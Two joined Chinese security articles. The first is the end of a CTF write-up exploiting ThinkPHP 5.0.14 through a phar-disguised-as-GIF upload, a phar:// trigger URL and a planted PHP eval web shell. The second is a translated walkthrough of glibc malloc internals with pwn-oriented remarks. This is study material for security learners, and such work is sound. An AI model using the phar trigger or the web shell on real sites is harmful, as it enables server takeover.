后来看到别的师傅wp这个框架是tp5.0.14版本开发的, 恰好这个版本有一条pop链,框架里面又有不少上传点,所以考虑能不能利用phar触发反序列化.
在本地复现成功了,但是题目没有打通 ) :
**pop链** : <https://github.com/L0nm4r/MyyPOP/tree/master/thinkphp/5.0.14>
> pop1只能在Linux下使用, pop2无这个限制
**文件上传 :** , 普通用户前台就有一个,后台就更多了
**phar:** 触发phar的点还是比较好找的,全局搜索找file_get_contents就可以了,
在`application/wechat/controller/Review.php` 的`img()`方法
具体利用:
**生成phar文件** : 直接利用的pop2的. 这里有一个坑点是文件/目录权限和相对路径/绝对路径的问题
我用相对路径没有成功写文件,但是绝对路径成功了. 可能buu的环境存在目录权限问题导致没有写成功 : (
稍微修改一下pop链就好:
然后重命名为phar.gif
**文件上传**
前台的上传点, 1.txt有邀请码, 注册一个普通用户就好
F12找路径.
**phar反序列化触发:** 访问
`/wechat/Review/img?url=phar://./static/upload/60bb6f1ef3d43/60bb6f1ef3d95.gif`
**getShell**
因为写入的文件是
<?cuc
//000000000000
rkvg();?>
f:51:"<?php eval($_POST["cmd"]);?><trgNgge>netf</trgNgge>";
所以需要关闭短标签这个shell才生效,否则会报错退出!
> 再次温习p牛的博客 <https://www.leavesongs.com/PENETRATION/php-filter-magic.html>
访问`/static/upload/ce83778115195eec0b229a3beab940c9.php`
## 0x05 总结
对于最后一个思路, Nepnep的比赛有类似题解,
<https://blog.csdn.net/rfrder/article/details/115105786>
三周之前就做到了这道题,现在才做完,
虽然踩了一天的坑 , 但不枉我学了两周tp开发, 调试框架终于有点感觉了
之后两周就要准备期末了,这道题就当这一段时间的总结了. | 社区文章 |
# glibc 中的 malloc 与 free 概述 (一)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 〇.
最近做一些堆利用的题目时感觉基础掌握的不是很牢靠，之前没有仔细的研究过 glibc 中的内存管理策略，导致遇到某些题目的时候总是会忽略掉重要的细节(libc
层面)，所以这次就来仔细研究一下 malloc 和 free 的实现。
## 内存管理
动态内存管理是很重要的功能，内存一直都是很宝贵的资源，一个好的内存管理策略可以极大地提升系统性能，就 C 内存管理而言，主要的管理程序有
Doug Lea Malloc
BSD Malloc
Hoard
TCMalloc
ptmalloc
目前主流 Linux 系统所使用的都是 ptmalloc，由 Wolfram Gloger 基于 Doug Lea Malloc 修改而来。ptmalloc
包括 malloc free 等一组函数，实现了动态的内存管理，区别一个内存管理器好坏的重要标准就是 分配和释放内存的速度。
当 Linux 加载了一个可执行程序时，会先将程序从硬盘上映射到内存中， 以 32 位程序为例，映射的顺序为
.text段、.data段、.bss段，接着会生成 stack 区域以及 heap 区域、mmap 区域。一个典型的 32 位程序的内存布局大致如下
其中，内核区域占据 1GB 空间，用户程序占据 3GB
空间，但是同一时间可以运行多个程序，如果整个内存被一个程序全部占据的话，其他程序是不是就无法运行了呢？其实不然，可以参考 windows
的实现方法，系统为每个程序分配了虚拟内存，只是在逻辑上每个程序占据着整块内存，但实际上物理内存中同时存在很多程序，操作系统通过虚拟内存管理器将虚拟地址映射到物理地址上面，保证系统正常工作。
实现内存管理主要有三个层面，分别是用户管理层、C 运行时库层以及操作系统层，操作系统层提供了最底层的内存管理方案如 syscall，linux
操作系统提供了 brk() 函数来实现内存的分配，而 C 运行时库则提供了 sbrk() 函数，我们常用的 malloc free 等类似的函数就是使用了
C 运行库提供的函数。
当程序向操作系统申请动态内存时，系统会调用相应的函数分配内存，但是这种分配并不是实时的，首先内核会给程序分配一个线性区(虚拟内存)，只有当用户开始使用这块内存时，才会分配物理页面。当释放一块内存时，会通过线性区找到物理页面，然后才执行释放操作。
为了提高内存管理效率，ptmalloc 设置了一些缓冲区，当用户分配内存时，ptmalloc
会优先检查缓冲区中是否存在合适的空间，如果存在就直接返回给用户，这样大大降低了向内核申请空间的次数。同样的，当用户释放某块内存时，ptmalloc
会将这块内存插入对应的缓冲区内，以便于下一次分配使用，这些缓冲区就是所谓的 fastbin、smallbin 等等链表。
ptmalloc 的几个特性
1. 需要长时间保存、使用的内存(存活期长)的分配使用 mmap
2. 很大的内存分配使用 mmap
3. 存活期短的内存块使用 brk 分配
4. 尽量只缓存较小的内存块，很大的内存块在释放之后立即归还操作系统
5. 空闲的内存块(处于缓冲区中)只在 malloc 和 free 时进行合并
## malloc
本部分根据 malloc.c 代码注释以及逻辑对 malloc 进行了简要分析。
代码可以在
[woboq](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#_M/void)
找到。
### ptmalloc 的适应性
一个内存管理器最理想的情况是针对项目进行专门的优化，也就是说，每个项目针对自身情况开发出的内存管理器才是最优的，但是这样做的成本太高，而且开发一个内存管理器难度也是很高的，既要考量和内核的兼容性，又要可移植，效率要高并且稳定，所以，最好的办法是有一个折中的内存管理机制，各方面不需要很突出，但是适用性广，可以很好地兼容在各种大型项目中。
ptmalloc 的设计思想就是这样，它具有良好的兼容性、可移植性、稳定性，并且兼具效率，这样一个内存管理器对于开发一些正常的项目足够了。
### main_arena and non_main_arena
又称为主分配区和非主分配区，main_arena 是一个结构体，定义在 malloc.c 中的 malloc_state
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
结构体对每一个成员给出了解释，第一个成员是 linux 下的锁，Doug Lea
实现的内存分配器只有一个主分配区，为了兼容多线程，每次分配内存之前都要对主分配区加锁，防止多线程对内存分配造成影响，这样就导致多线程锁的激烈竞争，降低了内存分配效率，而
ptmalloc 支持多线程，增加了 non_main_arena (非主分配区)，所谓 non_main_arena
其结构和主分配区相同，很多分配区通过环形链表相互串联，这样，多个线程就无需争夺同一个分配区了。但是分配区的数量毕竟是有限的，在极端情况下多个线程还是会竞争同一个分配区，所以锁依旧有用，先加锁的进程可以优先使用分配区，如果全部分配区都被加锁，那么后面的进程就会进入阻塞状态。对于
32 位系统来说，arena 最多为核心数量的 2 倍，64 位系统下 arena 最多为核心数量的 8 倍。
第二个成员是标志位，第三个成员用来标识最近是否有新的内存块被插入 fastbin 链表。
第四个成员是 fastbin 链表，第五个成员是 top chunk 的地址，在堆利用中可能会用到。第六个成员标识最后一次拆分 top chunk
得到的剩余部分，第七个成员是 smallbin、largebin 和 unsortedbin 的集合体，一共有 126 个表项。
> 补：为什么有 126 个表项？这是由于 bin[0] 和 bin[127] 没有被使用，并且 bin[1] 是整个 bin 的头部。 注意 bin
> 定义的数量为 NBINS * 2 – 2 = 254，为什么是 254？ 这是由于缓冲区链表主要有 fd 和 bk 两个指针，smallbin 62
> 个、largebin 63 个，加在一起是 125 个，再加上一个头结点 bin[1] 共 126 个表项，换算成 index 一共有 252 个，所以
> 254 个指针空间是完全足够的！
第八个成员可以视为一张地图，标识链表是否为空。第九个成员是 next 指针，指向下一个 arena。
第十个成员指向下一个为空的 arena。第十一个成员用来标识绑定在当前 arena 线程的总量。
最后两个成员用来跟踪当前被系统分配的内存总量。
这个 glibc 版本比较新的，有一些新加入的定义。
### chunk
chunk 称为堆块，是堆的重要组成部分，当用户申请内存块时，系统就会将空间以堆块的形式返回，堆块具有一定的结构，且按照大小分为 4 类，堆块的结构定义在
malloc.c 中，代码如下
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
基本结构包含 6 个成员，首先是 mchunk_prev_size，如果当前堆块的前一个堆块是空闲的，那么此字段就是前一个堆块的 size。
接着是当前堆块的 size，然后有两个指针，由于各种 bin 的存在，当堆块被释放后会进入对应的缓冲区中，并且以链表的形式存在，这里的 fd 和 bk
就是链表的前向后向指针，最后两个也是指针，但是它们只会出现在 largebin chunk 中，具体会在后面提到。
一个堆块可能会是下面的状态
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
需要注意 size 标志位的最低三位 A、M、P，由于对齐的原因，如果把 size 转换成二进制，它的最低三个 bit 始终都是
0，所以它们就有了新的用途。
A(NON_MAIN_ARENA) 用来表示当前堆块是否属于 main_arena，M(IS_MAPPED)用来表示当前堆块是否由 mmap
分配，P(PREV_INUSE)是最为常用的标志位，用来表示当前堆块的前一个堆块是否空闲。
### bins
接下来是链表的分类，前面提到为了加快内存分配效率，ptmalloc
引入了缓冲区，把较小的堆块保存在缓冲区中，这样就可以减少和操作系统申请内存的次数，提高效率。缓冲区有一定的格式，按照堆块的大小分成了 4 类即
fastbin、smallbin、largebin、unsortedbin。
第一类是 fastbin chunk，它的基本结构如下
+-----------------+-----------------+
| | |
| prev_size | size |
| | |
+-----------------------------------+
| | |
| fd | |
| | |
+-----------------+ |
| |
| user data |
| |
+-----------------------------------+
fastbin chunk 的大小限制在 0x10 ~ 0x40(0x20 ~ 0x80 if OS is 64 bit)，这些 chunk 通过 fd
连接成一条单向链表，在主分配区中定义了 fastbins 指针，我们可以将它展开
index size
fastbinY[0] 0x20
fastbinY[1] 0x30
fastbinY[2] 0x40
fastbinY[3] 0x50
fastbinY[4] 0x60
fastbinY[5] 0x70
fastbinY[6] 0x80
fastbinY[7] N/A
fastbinY[8] N/A
fastbinY[9] N/A
最后三个是保留项，暂时没有使用。
fastbin 顾名思义，它分配堆块的速度很快，且仅仅保存很小的堆块，fastbin chunk 的两个特点是没有 bk 指针并且 PREV_INUSE
标志位一定是 1，也就是说 fastbin chunk 不会和其他堆块合并(在特殊情况下还是会发生合并)。另外，fastbin 采用 LIFO
策略，从头部插入，头部取出，这样可以进一步提高分配效率。
附：fastbin 链表大致结构
第二类是 smallbin，这也是很常用的链表，smallbin chunk 近似于一个标准格式的 chunk，结构如下
+-----------------+-----------------+
| | |
| prev_size | size |
| | |
+-----------------------------------+
| | |
| fd | bk |
| | |
+-----------------------------------+
| |
| |
| user data |
| |
| |
+-----------------+-----------------+
相比于 fastbin chunk，这里多出了 bk 指针，需要注意的是 fd 和 bk 指针(以及 fd_nextsize、bk_nextsize
指针)都是可以作为用户数据被覆盖的，它们只会在堆块空闲时发挥作用。
smallbin 的范围在 0x10 ~ 0x1f0(0x20 ~ 0x3f0 if OS is 64 bit)，smallbin 和 fastbin
有一部分是重合的，其实 fastbin 中的堆块在一定情况下可以进入到 smallbin 中(当发生 consolidate 时)。一些 smallbin
chunk 相互串联形成了一条双向链表
附：smallbin 链表大致结构
smallbin 链表从头部插入，尾部取出。
第三类是 largebin，专门用来保存一些较大的堆块，范围从 0x200 开始。一个 largebin chunk 结构可能如下
+---------------+---------------+
| | |
| prev_size | size |
| | |
+-------------------------------+
| | |
| fd | bk |
| | |
+-------------------------------+
| | |
| fd_nextsize | bk_nextsize |
| | |
+---------------+---------------+
| |
| |
| user_data |
| |
+-------------------------------+
largebin共63个，组织方法如下：
32个bin 每64个字节一个阶层，比如第一个512-568字节，第二个576 – 632字节……
16个bin 每512字节一个阶层
8个bin每4096字节一个阶层
4个bin每32768字节一个阶层
2个bin每262144字节一个阶层
最后一个bin包括所有剩下的大小。不同于其他链表，largebin 每一个表项保存的是一个范围，所以会用到 fd_nextsize &
bk_nextsize 指针。fd 和 bk 指针的功能和 smallbin 的相同，但是 fd_nextsize & bk_nextsize
就有些复杂，fd_nextsize 指向第一个比当前堆块大的堆块，bk_nexisize 反之。
第四类是 unsortedbin，这个链表比较特殊，它没有针对大小进行排序，这一点从名字也能看出来，它可以被视为 smallbin 和 largebin
的缓冲区，当用户释放一个堆块之后，会先进入 unsortedbin，再次分配堆块时，ptmalloc
会优先检查这个链表中是否存在合适的堆块，如果找到了，就直接返回给用户(这个过程可能会对 unsortedbin
中的堆块进行切割)，若没有找到合适的，系统会清空这个链表，将堆块插入对应的链表中。下面引用 malloc.c 中的注释
Unsorted chunks
All remainders from chunk splits, as well as all returned chunks,
are first placed in the "unsorted" bin. They are then placed
in regular bins after malloc gives them ONE chance to be used before
binning. So, basically, the unsorted_chunks list acts as a queue,
with chunks being placed on it in free (and malloc_consolidate),
and taken off (to be either used or placed in bins) in malloc.
The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
does not have to be taken into account in size comparisons.
### 内存分配流程
前置基础知识大概就那些，还有一部分关于多线程的东西会放在后面，下面看一下 malloc 的分配流程，当程序第一次启动起来，heap
尚未初始化，这时如果去访问 heap 位置的内存会触发段错误，具体原因和上面说的类似，还没有绑定物理地址。
首先找到 malloc 函数的入口，在 glibc 的源代码中是找不到 malloc 这个函数的，当执行 malloc 时核心函数是
_int_malloc，新版本的 glibc 修改了 malloc 的外壳函数。为了方便，暂时不分析新版本，切换 glibc 到老版本
(2.12.1)，外壳函数为 public_mALLOc()
Void_t* public_mALLOc(size_t bytes)
{
mstate ar_ptr;
Void_t *victim;
__malloc_ptr_t (*hook) (size_t, __const __malloc_ptr_t)
= force_reg (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // 检查是否存在 hook
arena_lookup(ar_ptr);
arena_lock(ar_ptr, bytes); // 尝试获取分配区并加锁
if(!ar_ptr)
return 0; // 失败退出
victim = _int_malloc(ar_ptr, bytes); // 加锁成功，调用核心函数分配内存
if(!victim) { // 如果分配失败，可能是 mmap 区域用光了
/* Maybe the failure is due to running out of mmapped areas. */
if(ar_ptr != &main_arena) { // 判断当前分配区是不是主分配区
(void)mutex_unlock(&ar_ptr->mutex); // 不是主分配区， 将当前分配区解锁
ar_ptr = &main_arena;
(void)mutex_lock(&ar_ptr->mutex); // 尝试锁定主分配区
victim = _int_malloc(ar_ptr, bytes); // 再次尝试分配内存
(void)mutex_unlock(&ar_ptr->mutex); // 解锁主分配区
} else { // 当分配区是主分配区，并且内存分配失败，可能是 sbrk 出了问题
#if USE_ARENAS
/* ... or sbrk() has failed and there is still a chance to mmap() */
ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); // 检查是否还有非主分配区
(void)mutex_unlock(&main_arena.mutex); // 解锁主分配区
if(ar_ptr) { // 如果成功找到了一个非主分配区，就继续尝试分配内存
victim = _int_malloc(ar_ptr, bytes);
(void)mutex_unlock(&ar_ptr->mutex); // 解锁非主分配区
}
#endif
}
} else
(void)mutex_unlock(&ar_ptr->mutex); // 分配结束，解锁分配区。
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
return victim;
}
#ifdef libc_hidden_def
libc_hidden_def(public_mALLOc)
#endif
外壳函数逻辑比较简单，主要是处理分配区的问题，尽量成功分配内存给用户，接下来是核心函数 _int_malloc()
> 补： 关于 arena 的问题，ptmalloc 可以有多个 arena，用来给不同的线程使用，外壳代码中调用了 arena_lookup
> 来寻找一个可用的 arena，其流程大概是首先判断一下当前线程最后一次使用的 arena
> 是否空闲(先查看线程私有对象中是否已经存在一个分配区)，如果不是，就循环遍历 arena 链表，尝试找到一个空闲的
> arena，如果找不到，就判断一下当前 arena 的总数，若小于最大值，就创建一个新的 arena，并且把新的 arena
> 插入到全局分配区循环链表并且加锁。新建的分配区一定是 non_main_arena，因为主分配区是从父进程继承的。
核心函数很长，就不贴所有代码了，有兴趣的同学可以去官网下载 glibc 的源代码。
首先是声明必要的变量，将所有要用的变量声明在函数头部可以方便后续的修改(此处代码不涉及逻辑)。
接着调用了函数
checked_request2size(bytes, nb);
bytes 是用户传入的数字，nb 是真实 chunk 的大小，调用这个函数的目的是通过用户的输入计算出需要分配的 chunk
大小。这是由于对齐的原因，正常分配的 chunk 并不是输入的大小是多少就分配多少，而是会 SIZE 字节对齐，例如在 64 位系统下
malloc(1)，系统返回给我们的堆块实际上最多能容纳 16 个字节。
从这里开始 malloc 会分成 3 条路。
**第一条：** 当 nb 属于 fastbin chunk 时
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast ())) { // 判断是否在 fastbin 范围内
idx = fastbin_index(nb); // 根据 nb 计算出在 fastbin 中的 index
mfastbinptr* fb = &fastbin (av, idx); // 根据 index 取一个堆块(无论是否为空)
#ifdef ATOMIC_FASTBINS
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
#else
victim = *fb; // 将取出的堆块给 victim
#endif
if (victim != 0) { // 判断取出的堆块是否为空
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) // 检查堆块的 size
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
#ifndef ATOMIC_FASTBINS
*fb = victim->fd;
#endif
check_remalloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 返回给用户
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
}
利用 fastbin，首先检查 nb(上面计算出的真实 chunk 大小)是否小于等于 fastbin
的最大值，如果是，会进入到上面的代码逻辑中。这里分为两种情况，如果没有开启 ATOMIC_FASTBINS 优化则分配过程很简单，首先根据 nb 找到对应的
fastbin index，接着从对应的链表中取出一个堆块(可能为空)，判断取出的是否为空，如果不为空，进一步判断此堆块的 size 是否和 index
对应。如果这些检查都通过，就会把堆块返回给用户。
当开启了 ATOMIC_FASTBINS 情况就变得复杂起来，这个优化选项是新版本 libc 添加的，虽然 ptmalloc
支持多线程操作，但是当在分配区中申请很多小内存时，会使得内存碎片化，ptmalloc
会尝试清理这些碎片，在清理碎片的时候就不可避免的要对分配区进行加锁操作，每一次加锁要消耗大约 100ns
的时间，这就导致了当很多线程进行动态内存申请时，ptmalloc 的效率大幅下降。
于是 ptmalloc 在新版本中对锁进行了优化，添加 PER_THREAD 和 ATOMIC_FASTBINS
两个优化选项，但是默认情况下这些选项是不会开启的。
结合华庭的文章可以大致了解一下优化的策略，ATOMIC_FASTBINS 用到了一种叫做 lock-free
的技术实现单向链表删除第一个节点的操作(和数据结构很类似，但是要考虑多线程的影响)，多线程安全在 《程序员的自我修养》这本书中有简要的介绍，线程(又称为
**轻量级进程**
)是进程的一部分，一个进程中可以包含多个线程，这些线程共享进程的资源，这就隐藏着一个问题，资源只有一份，如果两个线程同时去修改这份资源，就有可能会引发未定义的行为。例如下面的代码
线程1 线程2
i=1; --i;
++i;
++i 这种代码的一种实现方法可能是
将 i 读取到某一个寄存器中
寄存器自增 1
将寄存器中的值存回 i
但是现在涉及到一个多线程的问题，如果程序的执行顺序是
X1 表示线程 1 的寄存器 X2 表示线程 2 的寄存器
序号 指令 线程
1 i = 1 1
2 X1 = i 1
3 X2 = i 2
4 X1++ 1
5 X2-- 2
6 i = X1 1
7 i = X2 2
从逻辑上看，i 的最终结果应该是 1，但是现在它的结果是 0。实际上 i 的结果可能是 0、1 或 2，这就是一个典型由于没有注意线程问题引发的未定义行为。
回到 malloc
的代码中，支持多线程的基础就是保证线程安全，于是加锁成为了一种重要方式，当某个线程取得资源的锁之后，其他线程如果想要访问资源，就需要等待加锁线程完成它的工作并解锁，但是加锁会导致一些问题，首当其冲的就是性能问题，这一点在上文提到过，如果加锁不当的话还会引起死锁(dead
lock)等等。
于是人们就提出了另一种思路，即无锁算法(lock-free)，又叫做
CAS，CAS的语义是“我认为V的值应该为A，如果是，那么将V的值更新为B，否则不修改并告诉我V的值实际为多少”，CAS是乐观锁技术，当多个线程尝试使用CAS同时更新同一个变量时，只有其中一个线程能更新变量的值，而其它线程都失败，失败的线程并不会被挂起，而是被告知这次竞争中失败，并可以再次尝试。
CAS 的效率相较于锁来说提升了很多，并且更加安全了，这是因为其操作指令都是原子指令(可以在一个 CPU 周期中运行完毕，不会受其他线程影响)。
CAS 的 ABA 问题：如果有三个线程 A、B、C，若 B 线程先取得了锁，修改目标值，但是 C 线程先于 A 取得了锁，将目标值修改回最初的值，这时如果
A 取得锁，就不会发现原始值已经被修改了一次，这时可能会引发一些未定义的行为，但是在 malloc 的代码中并不会出现这种问题。
第一条路大致就是这些内容，不难发现，fastbin 是最简单、最快的一种缓冲区，有关于从 fastbin 中分配堆块的思路可以参考下面这张图片
**第二条:** 当 nb 属于 smallbin 范围时
if (in_smallbin_range(nb)) { // 判断 nb 是否处于 smallbin 范围
idx = smallbin_index(nb); // 通过 nb 计算出其所属的 smallbin index
bin = bin_at(av,idx); // 通过上一步计算出的 index 在 arena 中找到对应链表的表头
if ( (victim = last(bin)) != bin) { // 判断 smallbin 是否为空，并且把链表中最后一个堆块给 victim
if (victim == 0) /* 初始化检查 */
malloc_consolidate(av); // 合并 fastbin 中的堆块并放置在 smallbin
else {
bck = victim->bk; // 获取当前堆块的前一个堆块
if (__builtin_expect (bck->fd != victim, 0)) // 检查 bck -> fd 是否指向 victim (链表完整性检查)
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset(victim, nb); // 将 victim 下一个相邻的堆块的 P 标志位置 1
bin->bk = bck;
bck->fd = bin; // 将最后一个堆块从 smallbin 中卸下，注意这里没有清空 fd、bk 指针，pwn 题中的信息泄露一般是基于此处
if (av != &main_arena) // 检查当前分配区是否为主分配区
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 返回堆块
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
}
}
引用 malloc.c 给出的注释如下
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
首先要判断 nb 是否在 smallbin 范围内，如果是，则计算其在 smallbin 中的 index 并根据 index
找到链表的表头，接着是一个关键判断，通过 if (victim == 0) 进行初始化检查，这是由于 (victim = last(bin)) != bin
执行后 victim 有两种情况，一是 smallbin 不为空，即找到了一个合适的堆块，二是 smallbin 还没有初始化成双向循环链表，这时就要调用
malloc_consolidate 来合并 fastbin chunk 到 smallbin 中(后面会提到)。
如果找到了一块合适的内存，先找到它的上一个堆块 bck(victim -> bk)，然后进行一次完整性判断，要求 bck 的 fd 指针指向
victim，如果检查通过，会将 victim 物理上相邻的下一个堆块的 P 标志位(PREV_INUSE)置 1，最后把 victim
从链表中卸下(通常使用 unlink 函数，但是为了效率这里没有使用)并返回。 通过分析代码也能发现 smallbin 的分配方式的确是尾部取出。
若 smallbin 为空会移交到下一部分代码处理。
有关于从 smallbin 中分配堆块的思路可以参考下面这张图片
**第三条：** nb 属于 largebin 范围 or 之前的分配请求失败
else {
idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);
}
首先判断 nb 在 large bin 中的 index，接着判断 fastbin 中是否存在 chunk，若存在，调用
malloc_consolidate 将 fastbin chunk 进行合并。引用 malloc.c 中的注释如下
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
大概意思是如果 nb 是一个分配大片内存的申请，首先会合并 fastbin 中的 chunk，这样做的目的是避免内存碎片化过于严重。
> 为什么不直接去 largebin 中取堆块，而是要先进行堆块合并？如果代码运行到这里，就说明用户申请的内存一定是 largebin
> 或者更大，如果在获取了 largebin index 之后直接搜索
> largebin，很可能在对应位置上并不存在合适的堆块，这样，就需要向操作系统申请另一片空间来实现内存分配，当用户申请的堆块确实很大时这样做并没有什么问题，但是当用户申请的内存并不是那么大，将其他链表中(主要是
> fastbin)的堆块合并之后恰好能够满足空间要求，那么就可以避免向操作系统申请内存，提升效率的同时还降低了堆的碎片化程度。
**注意！** 只有当 nb 是一个 largebin request
时，才会执行上面的代码，其他情况(例如上面两条路中分配失败的情况)会下沉到下面的代码中处理，接下来的代码属于 malloc
的核心部分，使用了很多循环嵌套，其实这些复杂的算法主要目的就是处理之前没有分配成功的 smallbin、fastbin、largebin 等请求。
引用 malloc.c 的注释如下
Process recently freed or remaindered chunks, taking one only if
it is exact fit, or, if this a small request, the chunk is remainder from
the most recent non-exact fit. Place other traversed chunks in
bins. Note that this step is the only place in any routine where
chunks are placed in bins.
The outer loop here is needed because we might not realize until
near the end of malloc that we should have consolidated, so must
do so and retry. This happens at most once, and only when we would
otherwise need to expand memory to service a "small" request.
最后一句说明了进行堆块合并的原因，避免由一个较小的内存请求去向操作系统申请新的内存。
for(;;) { // 主循环开始
int iters = 0;
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { // 反向循环遍历 unsorted bin
bck = victim->bk; // 找到 unsorted bin 链表最后一个堆块的前一个堆块
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0)) // 判断 size 是否合法
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim));
size = chunksize(victim); // 如果合法，就把 victim -> size 赋给 size
上面这段代码主要在遍历搜索 unsorted bin，引用 malloc.c 的注释如下
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
当遍历到一个堆块后，会继续执行下面的代码
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long)(size) > (unsigned long)(nb + MINSIZE)) { // 是否切割的判断条件
/* split and reattach remainder */
remainder_size = size - nb; // 计算切割后剩余的堆块大小
remainder = chunk_at_offset(victim, nb); // 切割堆块
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder; // 将剩余的堆块重新链接到 unsorted bin 中
av->last_remainder = remainder; // 重新设置分配区的 last_remainder
remainder->bk = remainder->fd = unsorted_chunks(av); // 更新 remainder 的 fd、bk 指针
if (!in_smallbin_range(remainder_size)) // 如果 remainder 是 largebin chunk，由于不在 larbebin 链表中，先清空fd_nextsize和bk_nextsize
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size); // 设置堆块的结构
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 返回堆块
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
重点在于判断条件，nb 在 smallbin 范围内，并且 unsorted bin 中只有一个堆块，并且这个堆块是当前分配区的
last_remainder，并且 nb 小于这个堆块的 size，只有满足了以上四个条件，才能对 unsortedbin 中的堆块进行切割，形成
remainder。
如果上述条件不满足，就不会对 unsortedbin chunk 进行切割，而是运行下面的代码
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av); // 这两句代码实现了将 unsortedbin 最后一个堆块卸下的操作，注意没有使用标准的 unlink，这是 pwn 题中比较常见的 unsortedbin attack 实现基础
/* Take now instead of binning if exact fit */
if (size == nb) { // 判断这个堆块是否精确匹配
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 精确匹配的情况，直接返回给用户
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
unsortedbin chunk 精确匹配的情况，和 smallbin 一样，也是从尾部取出堆块。
如果取出的堆块不能精确匹配 nb 的话，就会将这个堆块放置在对应的 bin 中，所以遍历 unsortedbin 的过程也是清空它的过程。
unsorted bin 分配堆块的过程可以用下面的图片表示
如果取出的堆块不能精确匹配 nb，就会执行下面的代码
/* place chunk in bin */
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
